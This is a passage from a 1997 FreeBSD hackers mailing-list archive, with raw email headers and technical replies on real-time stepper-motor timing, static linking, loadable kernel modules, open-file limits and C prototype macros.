SW Allen Blvd., Suite 130 Beaverton OR 97005 Shimon@i-Connect.Net Voice: 503.799.2313 From owner-freebsd-hackers Sun Oct 5 11:27:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA03234 for hackers-outgoing; Sun, 5 Oct 1997 11:27:31 -0700 (PDT) Received: from proxy3.ba.best.com (root@proxy3.ba.best.com [206.184.139.14]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id LAA03228 for ; Sun, 5 Oct 1997 11:27:29 -0700 (PDT) Received: from shellx.best.com (shellx.best.com [206.86.0.11]) by proxy3.ba.best.com (8.8.7/8.8.BEST) with ESMTP id LAA26722; Sun, 5 Oct 1997 11:26:00 -0700 (PDT) Received: from localhost (mdean@localhost) by shellx.best.com (8.8.6/8.8.3) with SMTP id LAA08835; Sun, 5 Oct 1997 11:25:59 -0700 (PDT) Date: Sun, 5 Oct 1997 11:25:58 -0700 (PDT) From: mdean To: Mike Smith cc: freebsd-hackers@FreeBSD.ORG Subject: Re: A world of unexplored pain. In-Reply-To: <199710050846.SAA00411@word.smith.net.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk The fastest I can run a KA series is at Crystal Freq = 16Mhz, EClk = 4Mhz, so if you look on page 10-12 of the hc11 reference manual you see that a divisor of rtr1=0 and rtr0=0 does E/2^13 netting a 2.05ms period between interrupts (this is only half of what I need) Ever seen a stepper motor controller that can be retargeted as it moves? > Uh, excuse me. A 1kHz interrupt gives you 2000 machine cycles between > You should re-read the HC11 reference, particularly the section where > they discuss interrupt priority. Yes, you can make any single interrupt the highest priority. Thats just it, I wouldn't be using an interrupt it have to be a tight loop running in the busy wait state monitoring the system clock reg that increments with every. >From what I've seen, not gates with outputs that go to a shared bus have a single input and a tristate enable? input, if the enable is off the output becomes a very high impedance input. Makes it so that the output has no effect on that line. Now I'm not really sure about wired-or, but I get the idea that it allows you to hook a whole bunch of stuff to the same interrupt line without using or gates, if any one output goes high the others don't interfere. From owner-freebsd-hackers Sun Oct 5 12:00:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA04510 for hackers-outgoing; Sun, 5 Oct 1997 12:00:30 -0700 (PDT) Received: from thelab.hub.org (ppp-146.halifax-01.ican.net [206.231.248.146]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA04500 for ; Sun, 5 Oct 1997 12:00:26 -0700 (PDT) Received: from thelab.hub.org (localhost [127.0.0.1]) by thelab.hub.org (8.8.7/8.8.2) with SMTP id QAA06827; Sun, 5 Oct 1997 16:00:10 -0300 (ADT) Date: Sun, 5 Oct 1997 16:00:10 -0300 (ADT) From: The Hermit Hacker To: Joerg Wunsch cc: hackers@FreeBSD.ORG Subject: Re: static vs dynamic compiling... In-Reply-To: <19971005134214.NH30632@uriah.heep.sax.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 5 Oct 1997, J Wunsch wrote: > As The Hermit Hacker wrote: > > > I'm curious as to why I get the following error when attempting > > to compile using -static: > > > > gcc -static pg_dump.o common.o -o pg_dump -L../../interfaces/libpq -lpq \ > > -L/usr/local/lib -lcrypt -lcompat -lln -lm -lreadline -ltermcap \ > > -lcurses > > ld: No reference to __DYNAMIC > > gmake: *** [pg_dump] Error 1 > > Because dlopen(3) & friends are only available on dynamically linked > binaries (in our a.out, as i understand it). Ack, okay. That explains it right there :( Marc G. Fournier Systems Administrator @ hub.org primary: scrappy@hub.org secondary: scrappy@{freebsd|postgresql}.org From owner-freebsd-hackers Sun Oct 5 12:23:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA05156 for hackers-outgoing; Sun, 5 Oct 1997 12:23:39 -0700 (PDT) Received: from proxy4.ba.best.com (root@proxy4.ba.best.com [206.184.139.15]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA05151 for ; Sun, 5 Oct 1997 12:23:36 -0700 (PDT) Received: from shellx.best.com (shellx.best.com [206.86.0.11]) by proxy4.ba.best.com (8.8.7/8.8.BEST) with ESMTP id MAA14708; Sun, 5 Oct 1997 12:21:39 -0700 (PDT) Received: from localhost (mdean@localhost) by shellx.best.com (8.8.6/8.8.3) with SMTP id MAA27987; Sun, 5 Oct 1997 12:21:38 -0700 (PDT) Date: Sun, 5 Oct 1997 12:21:38 -0700 (PDT) From: mdean To: Mike Smith cc: freebsd-hackers@FreeBSD.ORG Subject: Re: A world of unexplored pain. In-Reply-To: <199710050846.SAA00411@word.smith.net.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > the real question for me is: If I use acquire_timer0(1000, myintr) what > > kind of jitter should I expect in delivery of those interrupts, i.e how far > > off center will myintr() get called from the every 1/1000 of a second mark? > > This depends on what other interrupt and clock-sensitive activity is > going on; several milliseconds is not an unreasonable figure. Were not just talking about stepper motors here (It would be way easier for me to use some dedicated controller board) if that was all I wanted. I can get a multi-axis serial master controller that will do 4 axis control and is fully programmable designed to be used with the two-clock bipolar microstepping drivers I am using. Price: $1500. This is not the problem. The problem is it doesn't do retargeting, and b) I have 100 12 bit analog input connected through multiplexers/signal conditioners to the same machine (A PC), and also 48 solid state relays that on this particular machine switch 24 volts @ 3 Amperes each, and yes it is designed so that all 48 can be switched on simultaneously (I had to have some custom electrical rigs designed and built to carry these currents from a bank of lead acid batteries that are continuosly charged). The 3.4 Kilowatt pulses generally have about a 20% duty cycle. So the real question is realtime here, the machine that these are connected to has all the interface cards needed for that above, a video card and network card (complete with netboot eprom). It boots disklessly {as a freebsd machine} from a tftp/bootp/nfs server. I really thought that this configuration would work out but apparently not. For instance I need to generate pulses with the SSR that are reliably 37ms in length. I cannot really do this with freebsd in a clean way, which is quite dissapointing because I really wanted to have the interface run under X. Basically what you are saying is that I should be using dos, or some other real time OS (Any recommendations?). Of course they won't be able to run X or (probably) boot over the network. But that's life. All I need is a small C-Routine that can be guaranteed to get run once every millisecond. It could handle everything above, and doesn't even need to be a driver. Just a routine in kernel space as I understand. Or a routine in user space sleeping on a select() that would get woken up once every millisecond reliably. Can someone explain why this CANNOT be done. Why a small routine placed in kernel space perhaps as an lkm, and only one of then cannot take precedence over everything else. Where do these really horrendously masked cli(), sti() routines exist that would prevent this? From owner-freebsd-hackers Sun Oct 5 14:24:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA10660 for hackers-outgoing; Sun, 5 Oct 1997 14:24:16 -0700 (PDT) Received: from fly.HiWAAY.net (root@fly.HiWAAY.net [208.147.154.56]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA10654 for ; Sun, 5 Oct 1997 14:24:12 -0700 (PDT) Received: from nospam.hiwaay.net (tnt1-180.HiWAAY.net [208.147.147.180]) by fly.HiWAAY.net (8.8.7/8.8.6) with ESMTP id QAA17252; Sun, 5 Oct 1997 16:21:36 -0500 (CDT) Received: from nospam.hiwaay.net (localhost [127.0.0.1]) by nospam.hiwaay.net (8.8.7/8.8.4) with ESMTP id QAA28930; Sun, 5 Oct 1997 16:21:32 -0500 (CDT) Message-Id: <199710052121.QAA28930@nospam.hiwaay.net> X-Mailer: exmh version 2.0zeta 7/24/97 To: mdean cc: freebsd-hackers@FreeBSD.ORG From: dkelly@hiwaay.net Subject: Re: A world of unexplored pain. In-reply-to: Message from mdean of "Sat, 04 Oct 1997 23:25:44 PDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 05 Oct 1997 16:21:21 -0500 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk mdean writes: > [snip] > To properly control the motors > the pulse train must be scaled from 0 to 500Hz and back down as it slows. > This is not a standard feature on the 68hc11 even though it has nearly > everything but the kitchen sink built in. > With a freebsd machine I am likely to be able to accomplish this and also > set it up as a system where the target position can be changed in realtime, > thus making it possible to cancel a command. I just cannot do this with the > embedded equipment I have available (mc68hc11) because a) rti on the 68hc11 > don't run faster than 500hz (you need 1000hz for a 500hz square wave) and > b) if the routine was dedicated then the rs232/485 interrupt would possibly > cause a lot of jitter taking the commands while scaling the output. Wait right there. The RTI is the wrong place in the HC11 to be doing the kind of thing you are discussing. Look at the input-capture/output-compare functions and their timers. (Maybe I mean output-capture/inpute-compare?). The pink HC11 book discusses generation of waveforms up to 1MHz using self-retriggered modes. You can do the same for your 500 Hz signal plus generate an IRQ on transition and service at your leisure (you have half of your clock cycle to get there). Jitter will be no better or worse than your CPU clock crystal. I used an HC11 that way to generate X-10 signals. Had an external 60HZ IRQ, then used HC11 timers and IRQ's to fire off the 200 uS bit, then again 1/6th cycle later, and again at 2/6ths, one for each of 3 possible phases. X-10 data bits are shifted out immediately following AC zero crossings. When my poor little 2 MHz HC11 got busy it was cranking thru nearly 5k IRQ's/sec. Cheated a bit as 4k/sec were external unmaskable IRQ's, but still the X-10 code timings were perfect. Even worked on 50 HZ (must have been single phase). My employer put up a web page with this product: http://www.tbe.com/products/imperium/imperium.html. best.com, the UPS people? I don't have to tell *you* about AC power. :-) I picked up a FerrUPS 700 at a local hamfest for $125 and its been one of the nicest things I've done for myself. Its a good footwarmer too. Should have bought a couple more. -- David Kelly N4HHE, dkelly@hiwaay.net ===================================================================== The human mind ordinarily operates at only ten percent of its capacity -- the rest is overhead for the operating system. From owner-freebsd-hackers Sun Oct 5 15:55:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA14691 for hackers-outgoing; Sun, 5 Oct 1997 15:55:17 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from kalkoen.sateh.com (kalkoen.sateh.com [194.151.25.30]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA14672 for ; Sun, 5 Oct 1997 15:55:09 -0700 (PDT) (envelope-from stefan@kalkoen.sateh.com) Received: (from stefan@localhost) by kalkoen.sateh.com (8.8.5/8.8.5) id AAA12603; Mon, 6 Oct 1997 00:56:23 +0200 (CEST) Message-ID: <19971006005623.57358@kalkoen.sateh.com> Date: Mon, 6 Oct 1997 00:56:23 +0200 From: Stefan Arentz To: freebsd-hackers@FreeBSD.ORG Subject: Linux Compatibility - sendmsg/recvmsg Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.84 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi folks, Is there any particular reason that the sendmsg and recvmsg calls are not implemented in the linux compatibility module? I'm trying to use some linux software that needs these two calls and if there's no technical reason why those calls can't be implemented in the emulator I might give it a try myself. Thanx in advance, Stefan -- Stefan Arentz - Technical Director - Luna Internet stefan.arentz@luna.net / +31 (0)10 2431988 Wie al op Internet zit kan meteen Het Net op. Je moet dan wel opnieuw inbellen. From owner-freebsd-hackers Sun Oct 5 16:00:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA14999 for hackers-outgoing; Sun, 5 Oct 1997 16:00:56 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from nemesis.idirect.com (root@nemesis.idirect.com [207.136.80.40]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA14992 for ; Sun, 5 Oct 1997 16:00:50 -0700 (PDT) (envelope-from jlixfeld@idirect.com) Received: from thor.idirect.com (jlixfeld@thor.idirect.com [207.136.80.105]) by nemesis.idirect.com (8.8.5/8.8.4) with SMTP id TAA23264 for ; Sun, 5 Oct 1997 19:00:41 -0400 (EDT) Received: from localhost (jlixfeld@localhost) by thor.idirect.com (8.6.12/8.6.12) with SMTP id TAA06725 for ; Sun, 5 Oct 1997 19:00:39 -0400 X-Authentication-Warning: thor.idirect.com: jlixfeld owned process doing -bs Date: Sun, 5 Oct 1997 19:00:39 -0400 (EDT) From: Jason Lixfeld To: freebsd-hackers@freebsd.org Subject: Increasing max open files per process @ system level Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I'm configuring Sendmail 8.8.8 on FreeBSD 2.2.2, and I'm setting ConnectionCacheSize=4. To do this, I must increase the number of open files per process at the system level. How do I do this?! I assume this is a kernel compilation option.. if so, what is it.. if not, how do I set the aforementioned? TiA! From owner-freebsd-hackers Sun Oct 5 16:09:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA15279 for hackers-outgoing; Sun, 5 Oct 1997 16:09:50 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from usr05.primenet.com (tlambert@usr05.primenet.com [206.165.6.205]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA15274 for ; Sun, 5 Oct 1997 16:09:46 -0700 (PDT) (envelope-from tlambert@usr05.primenet.com) Received: (from tlambert@localhost) by usr05.primenet.com (8.8.5/8.8.5) id QAA22634; Sun, 5 Oct 1997 16:09:41 -0700 (MST) From: Terry Lambert Message-Id: <199710052309.QAA22634@usr05.primenet.com> Subject: Re: lkms versus hard linked drivers To: julian@whistle.com (Julian Elischer) Date: Sun, 5 Oct 1997 23:09:41 +0000 (GMT) Cc: mdean@best.com, freebsd-hackers@FreeBSD.ORG In-Reply-To: <3435B860.19A13460@whistle.com> from "Julian Elischer" at Oct 3, 97 08:30:40 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > yes sure. > the only function that MUST be done at bootup is allocation > of LARGE physically contiguous buffers of ram. > because after running a few seconds ram get's fragmented.. > large VIRTUALLY contiguous buffers are ok. This is actually a bug, since it relates to the ability to mark areas of RAM off limits for reuse, and force the contents of that area out to swap; when that region is swapped back in, it will not be to the area marked off limits. This is something I've been considering for some time because of transiently resident drivers for things like QCAM. It would require a number of additional VM hooks to implement. It also bears on the issue of forcing stuff out of swap by marking the swap region unallocable, and triggering faults on the pages already swapped to the device. This is a necessary change for supporing a "swap off" command. Part of the problem is that the swap-critical and non-swap-critical regions of the kernel are not identified with tags specific to the pages (technically, these tags would originate as ELF section tags in a future ELF-based system). Because of this, it means that you can't relocate kernel pieces in physical memory leaving the kernel virtual memory unchanges, because you don't know if you will be executing in the page being relocated to do the relocation. If you could do that, you could "pack" the kernel virtual address space down, and prevent fragmentation. More likely, you will react to fragmentation, if and only if you need a chunk of contiguous physical memory, and let it fragment however it wants the rest of the time. In sum, this would get rid of the need to allocate the buffers at boot. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Oct 5 16:16:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA15559 for hackers-outgoing; Sun, 5 Oct 1997 16:16:41 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from usr05.primenet.com (tlambert@usr05.primenet.com [206.165.6.205]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA15554 for ; Sun, 5 Oct 1997 16:16:35 -0700 (PDT) (envelope-from tlambert@usr05.primenet.com) Received: (from tlambert@localhost) by usr05.primenet.com (8.8.5/8.8.5) id QAA22821; Sun, 5 Oct 1997 16:16:25 -0700 (MST) From: Terry Lambert Message-Id: <199710052316.QAA22821@usr05.primenet.com> Subject: Re: devfs / cdevsw To: mike@smith.net.au (Mike Smith) Date: Sun, 5 Oct 1997 23:16:24 +0000 (GMT) Cc: mdean@best.com, julian@whistle.com, freebsd-hackers@FreeBSD.ORG In-Reply-To: <199710040801.RAA00530@word.smith.net.au> from "Mike Smith" at Oct 4, 97 05:31:19 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > What does __P() do to a function declaration? I see it in the lkm examples. > > And also in .h files for c library calls apparently (pointing?) to the > > kernel syscalls. > > It's archaic junk left over from the days of pre-ANSI compilers. Use > it if you are adding to an existing source file (ie. maintain > consistency), but do not use it in new code. Unless you want the code to be portable to archaic pre-ANSI compilers, either becuase you own an older system, or you want someone who owns an older system to someday be able to use your code. It's a result of the gratuitous addition of prototypes to function declarations, really. A object file format that contained argument attribution for function arguments (unlike C++ symbol munging) would have spared us the need to declare the functions as prototypes, and would still have caught prototype forward declaration vs. function declaration mismatches at link time, as well as catching usage without a forward declaration prototype in scope. Ideally, you would delay actual code generation to link time, and save quads (or similar intermediate compilatation data) in the object files. This would, at the same time, have solved the "near/far" problem, since the memory reference could have been resolved to a near or far call at code generation time. Basically, compiler writers are lazy, even though compiler users outnumber them 1000 or more to 1. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Oct 5 16:22:11 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA15783 for hackers-outgoing; Sun, 5 Oct 1997 16:22:11 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from usr05.primenet.com (tlambert@usr05.primenet.com [206.165.6.205]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA15778 for ; Sun, 5 Oct 1997 16:22:06 -0700 (PDT) (envelope-from tlambert@usr05.primenet.com) Received: (from tlambert@localhost) by usr05.primenet.com (8.8.5/8.8.5) id QAA23234; Sun, 5 Oct 1997 16:22:00 -0700 (MST) From: Terry Lambert Message-Id: <199710052322.QAA23234@usr05.primenet.com> Subject: Re: lkms versus hard linked drivers To: mike@smith.net.au (Mike Smith) Date: Sun, 5 Oct 1997 23:22:00 +0000 (GMT) Cc: mdean@best.com, freebsd-hackers@FreeBSD.ORG In-Reply-To: <199710040821.RAA00605@word.smith.net.au> from "Mike Smith" at Oct 4, 97 05:51:50 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > My question is very simple: What can't be a lkm? > > Literally speaking; anything that's required by the load path for LKMs. Including all boot critical code, which is not normally though of as being in the code path for anything, once it's been used. It's not strictly true that "anything that's required for the load path" is required, in the most technical sense. There are possible applications for ELF object archivers and the use of "fallback drivers" which would make the statement false. But for the level at which you are dealing with it, it's probably true enough. > > For instance if I have some intel 8255As that I am going to use to produce > > a 500hz pulse train for stepper motor control. These chips aren't stateless > > and need to be intialized and mostly need to be kernel code to access > > change of state interrupts and the high frequency clock (obviously). Can I > > do all this from an lkm? > > You don't want to do this sort of very hard realtime work inside the > FreeBSD kernel. Use a real stepper controller card and save yourself a > world of grief. > > Yes, you could do this from an LKM, but you would find that your 500Hz > output was not anything like as regular as you might want. Delayed > stages in your pattern sequence will give you stepper a really ugly > sound, and may cause you serious problems depending on what you're > trying to do with it. Peter Wemm actually did this type of thing very early on as part of an industrial process control. He used FreeBSD as the OS. I think that your timing constraints are higher than the hard guarantees you can get out of the current kernel, however. 8-(. You probably want to contact the realtime list on this problem, and see what they recommend. A real stepper controller card is one answer, though depending on your start/stop constraints, probably not all cards would work for you... you'd probably need a fairly smart one. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Oct 5 16:23:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA15853 for hackers-outgoing; Sun, 5 Oct 1997 16:23:52 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from shell.futuresouth.com (shell.futuresouth.com [207.141.254.20]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA15848 for ; Sun, 5 Oct 1997 16:23:44 -0700 (PDT) (envelope-from fullermd@futuresouth.com) Received: from shell.futuresouth.com (mail.futuresouth.com [207.141.254.21]) by shell.futuresouth.com (8.8.5/8.8.5) with SMTP id SAA07746; Sun, 5 Oct 1997 18:23:40 -0500 (CDT) Date: Sun, 5 Oct 1997 18:23:39 -0500 (CDT) From: "Matthew D. Fuller" To: Jason Lixfeld cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Increasing max open files per process @ system level In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 5 Oct 1997, Jason Lixfeld wrote: > I'm configuring Sendmail 8.8.8 on FreeBSD 2.2.2, and I'm setting > ConnectionCacheSize=4. To do this, I must increase the number of open > files per process at the system level. How do I do this?! I assume this > is a kernel compilation option.. if so, what is it.. if not, how do I set > the aforementioned? > > TiA! Perhaps this (polled from my /usr/src/sys/i386/conf/LINT) file? # Under some circumstances it is convenient to increase the defaults # for the maximum number of processes per user and the maximum number # of open files files per user. E.g., (1) in a large news server, user # `news' may need more than 100 concurrent processes. (2) a user may # need lots of windows under X. In both cases, it may be inconvenient # to start all the processes from a parent whose soft rlimit on the # number of processes is large enough. The following options work by # changing the soft rlimits for init. # options CHILD_MAX=128 options OPEN_MAX=128 Maybe increasing CHILD_MAX would do the trick? Oh well. That's my $0.02. *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* | FreeBSD; the way computers were meant to be | * FreeBSD: turning PCs into workstations * | Windows: turning workstations into typewriters | * fullermd@futuresouth.com :-} MAtthew Fuller * | http://keystone.westminster.edu/~fullermd | *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* From owner-freebsd-hackers Sun Oct 5 16:27:11 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA15961 for hackers-outgoing; Sun, 5 Oct 1997 16:27:11 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from usr05.primenet.com (tlambert@usr05.primenet.com [206.165.6.205]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA15955 for ; Sun, 5 Oct 1997 16:27:06 -0700 (PDT) (envelope-from tlambert@usr05.primenet.com) Received: (from tlambert@localhost) by usr05.primenet.com (8.8.5/8.8.5) id QAA23497; Sun, 5 Oct 1997 16:26:58 -0700 (MST) From: Terry Lambert Message-Id: <199710052326.QAA23497@usr05.primenet.com> Subject: Re: Netscape 4.03b8 and Encryption: To: bradley@dunn.org (Bradley Dunn) Date: Sun, 5 Oct 1997 23:26:58 +0000 (GMT) Cc: scrappy@hub.org, hackers@FreeBSD.ORG In-Reply-To: from "Bradley Dunn" at Oct 4, 97 02:12:42 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > ============================= > > Insufficient encryption > > > > This document requires a larger secret key size for encryption than your > > browser is capable of supporting. > > ============================= > > Mail Netscape and ask them when/if they will have a US/Canada version with > support for 128-bit encryption keys for FreeBSD. Better yet, ask them to make encryption pluggable, and ask them for sample code for a 40 bit encryption, and make a 128 bit module for yourself. If you can get someone in S.A. (or elsewhere) to do it, then NetScape can work around the export restrictions (and Microsoft can't). This should be very desirable for them, actually. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Oct 5 16:30:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA16161 for hackers-outgoing; Sun, 5 Oct 1997 16:30:37 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from usr05.primenet.com (tlambert@usr05.primenet.com [206.165.6.205]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA16152 for ; Sun, 5 Oct 1997 16:30:31 -0700 (PDT) (envelope-from tlambert@usr05.primenet.com) Received: (from tlambert@localhost) by usr05.primenet.com (8.8.5/8.8.5) id QAA23680; Sun, 5 Oct 1997 16:30:01 -0700 (MST) From: Terry Lambert Message-Id: <199710052330.QAA23680@usr05.primenet.com> Subject: Re: Good Lord, Commercial Linux To: andreas@klemm.gtn.com (Andreas Klemm) Date: Sun, 5 Oct 1997 23:30:00 +0000 (GMT) Cc: Shimon@i-Connect.Net, freebsd-hackers@FreeBSD.ORG In-Reply-To: <19971004210211.32240@klemm.gtn.com> from "Andreas Klemm" at Oct 4, 97 09:02:11 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Or did you compare things like the speed of rm -rf on a large > directory tree without recognizing, that FreeBSD doesn't do > asynchronous I/O to a file system as default ?! > > Please facts here. Sure. No problem. Repeat the test ten times. For five of them, switch the machine off halfway through. Verify that the last file it said it removed was in fact the same or only one file away from the last file actually removed. Who else has screwed up deleteing, and hit the power to save their bacon? I'm not proud: I admit doing it. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Oct 5 16:34:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA16375 for hackers-outgoing; Sun, 5 Oct 1997 16:34:15 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from usr05.primenet.com (tlambert@usr05.primenet.com [206.165.6.205]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA16316; Sun, 5 Oct 1997 16:32:54 -0700 (PDT) (envelope-from tlambert@usr05.primenet.com) Received: (from tlambert@localhost) by usr05.primenet.com (8.8.5/8.8.5) id QAA23789; Sun, 5 Oct 1997 16:32:50 -0700 (MST) From: Terry Lambert Message-Id: <199710052332.QAA23789@usr05.primenet.com> Subject: Re: link tables and scope To: cmott@srv.net (Charles Mott) Date: Sun, 5 Oct 1997 23:32:50 +0000 (GMT) Cc: freebsd-hackers@FreeBSD.ORG, ari@suutari.iki.fi, brian@FreeBSD.ORG In-Reply-To: from "Charles Mott" at Oct 4, 97 11:41:26 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > What I observe is that the link symbol table (I don't > know a better word for it), contains function names > both in alias.h and alias_local.h. Is there any way > to somehow restrict the scope of some globals in a > library so that they cannot be linked by modules outside > the library. > > The only way I know to do this is put the entire library > in a single file and make as much as possible static. man ld /-r ^ | space before hitting return. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Oct 5 16:36:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA16579 for hackers-outgoing; Sun, 5 Oct 1997 16:36:44 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from usr05.primenet.com (tlambert@usr05.primenet.com [206.165.6.205]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA16574 for ; Sun, 5 Oct 1997 16:36:40 -0700 (PDT) (envelope-from tlambert@usr05.primenet.com) Received: (from tlambert@localhost) by usr05.primenet.com (8.8.5/8.8.5) id QAA24018; Sun, 5 Oct 1997 16:36:37 -0700 (MST) From: Terry Lambert Message-Id: <199710052336.QAA24018@usr05.primenet.com> Subject: Re: new floppy driver To: chad@dcfinc.com Date: Sun, 5 Oct 1997 23:36:37 +0000 (GMT) Cc: freebsd-hackers@FreeBSD.ORG In-Reply-To: <199710042356.QAA03731@freebie.dcfinc.com> from "Chad R. Larson" at Oct 4, 97 04:56:37 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Is anyone working on changes to the floppy driver to support the > new Imation LS-120? This is the drive that can use both the existing > 1.44meg 3.5" floppies, and (using optical positioning) a new standard > 120meg format. I haven't heard about this. There are several people recently disgusted enough with the floppy driver to actually touch it (I'm one of them, though I've only touched feature testing, so far). What programming information do you have for the thing (ie: how do you recognize it and afterwards, talk to it?). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Oct 5 16:38:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA16659 for hackers-outgoing; Sun, 5 Oct 1997 16:38:15 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from usr05.primenet.com (tlambert@usr05.primenet.com [206.165.6.205]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA16654 for ; Sun, 5 Oct 1997 16:38:13 -0700 (PDT) (envelope-from tlambert@usr05.primenet.com) Received: (from tlambert@localhost) by usr05.primenet.com (8.8.5/8.8.5) id QAA24071; Sun, 5 Oct 1997 16:38:12 -0700 (MST) From: Terry Lambert Message-Id: <199710052338.QAA24071@usr05.primenet.com> Subject: Re: Minor error (?) in regex.h To: Shimon@i-Connect.Net (Simon Shapiro) Date: Sun, 5 Oct 1997 23:38:12 +0000 (GMT) Cc: freebsd-hackers@FreeBSD.ORG In-Reply-To: from "Simon Shapiro" at Oct 4, 97 07:30:44 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Struggling along with the GIMP (I am a masochist :-), it seems as if > /usr/include/regex.h really needs #include to compile. > Should it be included? man regex The application is expected to include before . Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Oct 5 16:41:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA16858 for 